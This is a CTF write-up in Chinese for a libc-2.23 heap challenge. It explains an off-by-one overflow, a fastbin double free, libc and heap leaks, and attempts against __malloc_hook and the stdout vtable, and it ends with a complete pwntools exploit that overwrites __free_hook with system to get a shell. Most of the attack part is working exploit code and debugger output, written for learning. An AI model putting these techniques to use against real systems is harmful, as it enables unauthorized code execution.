2019年12月圣诞前后某日某平台的习题之一,没给libc,一般默认应该是Ubuntu16.04,libc-2.23。 题目限制很多,其中不少新的fastbin double free利用套路,网上相关资料也不多见,值得学习记录一下
程序为ELF64,查看保护情况
$ checksec heap
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
可看出保护全开,再看程序功能。
$ ./heap
1.Add
2.Delete
3.Show
4.Exit
Choice :
可看出程序共3个功能,添加,删除和显示
添加功能函数代码为:
sub_AFA(); for ( i = 0; i <= 31; ++i ) { if ( !qword_202060[i] ) { printf("size: "); v0 = sub_CBF(); buf = malloc(v0); qword_202060[i] = buf; printf("data: "); read(0, buf, v0 + 1); ++dword_20204C; return __readfsqword(0x28u) ^ v4; } }
可看出可任意分配指定长度的空间,且输入数据可多读一位,存在off by one漏洞
函数前面调用了sub_AFA
函数,该函数代码如下:
if ( dword_202048 ) _assert_fail("!replaced", "fastbin.c", 0x1Fu, "replace_hook"); dword_202048 = 1; _malloc_hook = (__int64)sub_AB0;
可看出每次添加分配内存,都强制修改__malloc_hook
指向sub_AB0
函数,对应函数将__malloc_hook
指向程序开始初始化时备份的BSS存储值
删除代码如下:
printf("Which heap do you want to delete: "); v1 = sub_CBF("Which heap do you want to delete: "); if ( v1 >= 0 && v1 <= dword_20204C ) { free((void *)qword_202060[v1]); qword_202060[v1] = 0LL; --dword_20204C; } else { puts("Out of bound!"); }
可看出free后并清空了指针
查看代码如下:
for ( i = 0; i <= 32; ++i ) { if ( qword_202060[i] ) printf("%d : %s \n", (unsigned int)i, qword_202060[i]); }
程序会打印所有指针有效的空间内容。
堆溢出一般套路是泄露libc地址,利用任意地址修改的漏洞劫持got指向,若开启了RELRO
, 则修改__malloc_hook
或__free_hook
的指向,或修改_IO_2_1_stdout_
的vtable结构中的xsputn或overflow等函数指向以利用打印输出触发gotshell
泄露libc地址的思路是:
add(0x100,'0000')#0 add(0x68,'1111')#1 delete(0) add(0x100,'a'*8)#0 show() libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0')) success(hex(libc_addr)) libc.address=libc_addr-0x3c4b20-88 success('libc addr:'+hex(libc.address))
利用off by one 漏洞制造fast bin double free的情况,方法是:创建3个chunk,分别为chunk 2-4
, 前2个用来覆盖以创造overlapping的情况,后一个以防止与top chunk合并,然后删除chunk1后再创建,最后一个字节覆盖chunk2
的size,然后删除chunk2
就可将chunk2
和chunk3
都删除了,然后重新分配2个chunk分别落到chunk2
和chunk3
位置,即为heap2
和heap5
。删除heap5
,再删除heap3
,就相当于对原chunk3
位置的fastbin空间进行double free
add(0x68,'2222')#2 add(0x68,'3333')#3 add(0x68,'4444')#4 delete(1) add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size delete(2) # free 2 and 3 add(0x68,'2222')#inde 2 in chunk 2 add(0x68,'5555')#index 5 in chunk 3 delete(5) # free chunk 3 delete(4) delete(3) #double free chunk 3
·
若需要泄露heap地址,可连续删除2个相邻的chunk,其中1个chunk就会写入heap地址,打印出来即可
add(0x68,'2222')#2 add(0x68,'3333')#3 add(0x68,'4444')#4 delete(1) add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size delete(2) # free 2 and 3 add(0x68,'2222')#2, heap 2 #-------------show heap addr add(0x68,'5555')#5, heap 3 add(0x68,'6666') #6 delete(6) delete(5) #in chunk3,heap_addr in this chunk, free chunk 3 show() p.recvuntil('3 : ') heap_addr=u64(p.recv(6).ljust(8,'\0')) # chunk3 addr success(hex(heap_addr)) #-------------------- delete(4) delete(3) #double free chunk 3
如下图所示泄露的地址所在位置:
double free后fastbin指向为chunk3->chunk4->chunk3->....
, 然后进行fastbin攻击
fastbin常规攻击__malloc_hook
, 方法是在__malloc_hook
上方寻找满足条件的chunk size,在__malloc_hook-0x23
位置寻找到满足条件的size,size为0x7f,那chunk的大小为0x70-0x80
之间即可,我们使用的0x68尺寸对应的chunk大小为0x70,可利用该位置
利用方法为:
add(0x68,p64(libc.sym['__malloc_hook']-0x23)) add(0x68,'xxxx') add(0x68,'cccc') one_gadget=libc.address+0x4526a add(0x68,'a'*0x13+p64(one_gadget))
题目给的程序限制了__malloc_hook
的操作,修改也无法作用
_IO_2_1_stdout_
在_IO_2_1_stdout_
结构中找到满足条件的size,位于_IO_2_1_stdout_+0x9d
就有个位置
add(0x68,p64(libc.sym['_IO_2_1_stdout_']+0x9d))# index heap 3 add(0x68,p64(one_gadget)*12) #index heap 4 add(0x68,'cccc') #heap 5 add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2++p64(libc.sym['_IO_2_1_stdout_']+144)) #add(0x68,'\x00'*3+p64(0)*2+p64(0xffffffff)+p64(one_gadget)*2+p64(heap_addr-0x60)) # 可将vtable指向heap-0x60,即`index heap 4`的内容位置,参数偏移可调试计算 ''' 这里也可直接使用_IO_2_1_stdout_中的地址(无需泄露heap地址), 这里0xfffffffff为mode值,一般为0或-1, 下面2个one_gadget位于_IO_2_1_stdout_+200和_IO_2_1_stdout_+208, vtable结构中的xputsn位于vtable的第8个指针, 那vtable地址可指向_IO_2_1_stdout_+144或_IO_2_1_stdout_+152, 即可控制xpustsn指向one_gadget #note: puts或printf函数会调用xputsn指向的函数 '''
_IO_2_1_stdout_
结构体如下:
gef➤ p _IO_2_1_stdout_
$5 = _IO_FILE_plus
_IO_FILE_plus
{
file = _IO_FILE
{
_flags = 0xfbad2887,
_IO_read_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fb37b8cc6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fb37b8cc6a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fb37b8cb8e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fb37b8cd780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fb37b8cb7a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fb37b8ca6e0 <_IO_file_jumps>
}
gef➤ p *(const struct _IO_jump_t *)_IO_2_1_stdout_.vtable
$8 = _IO_jump_t
_IO_jump_t
{
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7fb37b5809c0 <_IO_new_file_finish>,
__overflow = 0x7fb37b581730 <_IO_new_file_overflow>,
__underflow = 0x7fb37b5814a0 <_IO_new_file_underflow>,
__uflow = 0x7fb37b582600 <__GI__IO_default_uflow>,
__pbackfail = 0x7fb37b583980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7fb37b5801e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7fb37b57fec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7fb37b57f4c0 <_IO_new_file_seekoff>,
__seekpos = 0x7fb37b582a00 <_IO_default_seekpos>,
__setbuf = 0x7fb37b57f430 <_IO_new_file_setbuf>,
__sync = 0x7fb37b57f370 <_IO_new_file_sync>,
__doallocate = 0x7fb37b574180 <__GI__IO_file_doallocate>,
__read = 0x7fb37b5801a0 <__GI__IO_file_read>,
__write = 0x7fb37b57fb70 <_IO_new_file_write>,
__seek = 0x7fb37b57f970 <__GI__IO_file_seek>,
__close = 0x7fb37b57f340 <__GI__IO_file_close>,
__stat = 0x7fb37b57fb60 <__GI__IO_file_stat>,
__showmanyc = 0x7fb37b583af0 <_IO_default_showmanyc>,
__imbue = 0x7fb37b583b00 <_IO_default_imbue>
}
调试发现无法get shell,使用其他one_gadget
也get shell失败,调试发现其均无法满足约束条件
one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
如何getshell,那只能想办法劫持到system
地址,但函数需要参数/bin/sh
。 那可以劫持__free_hook
地址指向system
, 再删除对应空间(其值为/bin/sh\x00
)即可调用system(/bin/sh)
从而get shell
劫持__free_hook
的思路是,想办法修改top chunk
(main_arena+88
)指向__free_hook
上方某地址,然后多次分配内存,直到__free_hook
地址附近,构造长度修改即可。
修改top chunk
地址的方法是: 在__malloc_hook
附近找到满足条件的chunk size, 在__malloc_hook-0x3
找到一个位置;
写入时构造一个chunk header, size为0x70, 将0x70的fastbin数组位置(main_arena+48
)指向这里
下一次分配即可分配到main_arena+16
位置, 写入滑动到main_arena+88
, 写入__free_hook
上方某个满足top chunk size
条件的位置地址 ,这样top chunk
就指向__free_hook
上方某位置了
在__free_hook
上方找一下,__free_hook-0xb58
位置有一个符合条件的size,size足够大,满足top chunk
条件
然后不断分配chunk,直到__free_hook
附近。如分配0x90, 对应chunk size为0xa0, 那0xb58/0xa0=18, 0xb58-0xa0*18=24
, 分配完18个0xa0大小的chunk后,再分配一个chunk,内容写入滑动24-0x10=8
个字符即到达__free_hook
位置,写入system
即可
可看出__free_hook
指向了system
地址
add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# in heap 3 add(0x68,'/bin/sh\x00') # heap 4 add(0x68,'5555') # heap 5 add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20)) add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58)) for i in range(18): add(0x90,'aaa') add(0x90,'a'*8+p64(libc.sym['system'])) delete(4) # heap 4 content:/bin/sh\x00 p.interactive()
运行即可get shell
打远程也成功:
最终exp为:
from pwn import * #context.log_level='debug' p=process('./heap') #p=remote('120.55.43.255', 12240) # raw ctf game addr libc=ELF('./heap').libc def add(size,data): p.sendlineafter('Choice :','1') p.sendlineafter('size: ',str(size)) p.sendafter('data: ',data) def delete(index): p.sendlineafter('Choice :','2') p.sendlineafter('delete: ',str(index)) def show(): p.sendlineafter('Choice :','3') add(0x100,'0000')#0 add(0x68,'1111')#1 delete(0) add(0x100,'aaaaaaaa')#0 show() libc_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\0')) success(hex(libc_addr)) libc.address=libc_addr-0x3c4b20-88 success('libc addr:'+hex(libc.address)) add(0x68,'2222')#2 add(0x68,'3333')#3 add(0x68,'4444')#4 delete(1) add(0x68,'1'*0x68+'\xe1') #1, overchapping ,chunk 2 size delete(2) # free 2 and 3 add(0x68,'2222')#2, heap 2 add(0x68,'5555')#5, heap 3 delete(5) # free chunk 3 delete(4) delete(3) #double free chunk 3 #3->4->3 add(0x68,p64(libc.sym['__malloc_hook']-0x23+0x20))# heap 3 add(0x68,'/bin/sh\x00') # heap 4 add(0x68,'cccc') # heap 5 add(0x68,chr(0x0)*(0x1b-8)+p64(0)+p64(0x70)*3+p64(libc.sym['__malloc_hook']+0x20)) add(0x68,chr(0)*0x38+p64(libc.sym['__free_hook']-0xb58)) for i in range(18): add(0x90,'aaa') add(0x90,'a'*8+p64(libc.sym['system'])) delete(4) p.interactive()
样本见附件